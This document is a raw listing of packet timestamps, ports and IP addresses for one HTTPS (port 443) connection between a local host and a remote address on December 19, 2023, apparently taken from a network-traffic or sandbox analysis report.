Dec 19, 2023 05:18:27.381467104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.381493092 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.381515980 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.527484894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.527507067 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.527576923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.527594090 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.527620077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.527640104 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.530608892 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530627012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530683041 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.530684948 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530699015 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530716896 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530736923 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.530742884 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530770063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530783892 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530823946 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.530837059 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.530837059 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.530846119 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530855894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530859947 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.530873060 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.530877113 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530894995 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.530905962 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.530940056 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531045914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531064987 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531111002 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531116009 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531121016 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531148911 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531151056 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531178951 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531182051 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531194925 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531214952 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531239033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531239033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531249046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531259060 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531275988 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531295061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531299114 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531322956 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531348944 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531363010 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531409025 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531414986 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531424046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531446934 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531457901 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531464100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531482935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531486988 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531503916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531498909 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531516075 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531531096 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531563044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531568050 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531572104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531591892 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531611919 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531620026 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531632900 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531642914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531651974 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531656027 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531677961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531683922 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531718016 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531718016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531728029 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531747103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531759977 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531791925 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531797886 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531810045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531826019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531848907 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531853914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531869888 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531874895 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531891108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531893969 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531899929 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531939030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531955957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531966925 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.531969070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.531980038 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532018900 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532031059 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532041073 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532046080 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532063961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532078028 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532083988 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532104015 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532116890 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532118082 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532125950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532150030 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532171011 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532172918 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532181025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532201052 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532222033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532227993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532250881 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532268047 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532438040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532452106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532502890 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532505989 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532515049 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532532930 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532556057 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532560110 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532582998 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532583952 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532598019 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532603025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532612085 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532633066 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532660961 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532663107 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532674074 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532694101 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532708883 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532712936 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532737970 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532751083 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532757044 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532772064 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532805920 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532810926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532819033 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532831907 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532835960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532859087 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532862902 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532882929 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532887936 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532901049 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532907963 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532912016 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532948971 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.532951117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532960892 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.532977104 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.533004999 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.533010006 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.533019066 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.533027887 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.533041954 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.533072948 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.533082008 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.533097982 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.533122063 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.533884048 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.533900023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.533953905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.533961058 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.535449982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.535470009 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.535506964 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.535514116 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.535542965 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.535562038 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.538710117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.538728952 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.538788080 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.645143032 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.645159960 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645180941 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645190001 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645237923 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645284891 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.645293951 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645328045 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645342112 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.645368099 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645375013 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.645385981 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645407915 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645440102 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.645446062 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645478010 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.645482063 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645507097 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.645524025 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.645524979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645534039 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645582914 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645662069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.645662069 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.645672083 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.645703077 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.711613894 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.711644888 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.711720943 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.711729050 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.711760044 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.712795019 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.712810993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.712862015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.712867022 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.712894917 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.715522051 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.715538025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.715599060 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.715604067 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.715636015 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.716619015 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.716634035 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.716679096 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.716684103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.717664957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.717685938 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.717709064 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.717714071 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.717734098 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.717757940 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.718959093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.718976021 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.719022036 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.719028950 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.720690012 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.720710993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.720740080 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.720746040 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.720769882 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.720793009 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.723301888 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.723318100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.723364115 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.723368883 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.724715948 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.900480986 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.909542084 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909564972 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909621954 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909648895 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.909671068 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909691095 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909703016 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.909703016 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909718037 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909743071 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.909759998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909774065 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909780025 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.909790993 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909797907 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.909804106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909820080 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.909835100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909845114 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.909847975 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909856081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909867048 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.909894943 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.909894943 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909904957 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909921885 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909949064 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.909954071 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909991026 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.909993887 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910005093 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910007000 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910015106 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910052061 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910067081 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910075903 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910079956 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910100937 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910109997 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910118103 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910134077 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910142899 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910147905 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910161972 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910166025 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910197020 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910200119 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910221100 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910223961 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910232067 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910260916 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910274982 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910284996 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910288095 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910295963 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910314083 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910348892 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910356998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910373926 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910399914 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910403967 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910423040 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910439014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910443068 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910451889 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910473108 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910485983 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910497904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910515070 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910517931 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910531998 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910533905 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910550117 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910562992 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910598040 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910625935 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910640955 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910667896 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910672903 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910691023 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910691977 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910708904 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910712004 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910717964 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910737991 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910763979 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910772085 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910778046 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910799980 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910804033 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910820961 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910825014 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910840034 CET	443	49718	108.181.20.35	192.168.2.6
Dec 19, 2023 05:18:27.910849094 CET	49718	443	192.168.2.6	108.181.20.35
Dec 19, 2023 05:18:27.910856962 CET	443	49718	108.181.20.35	192.168.2.6
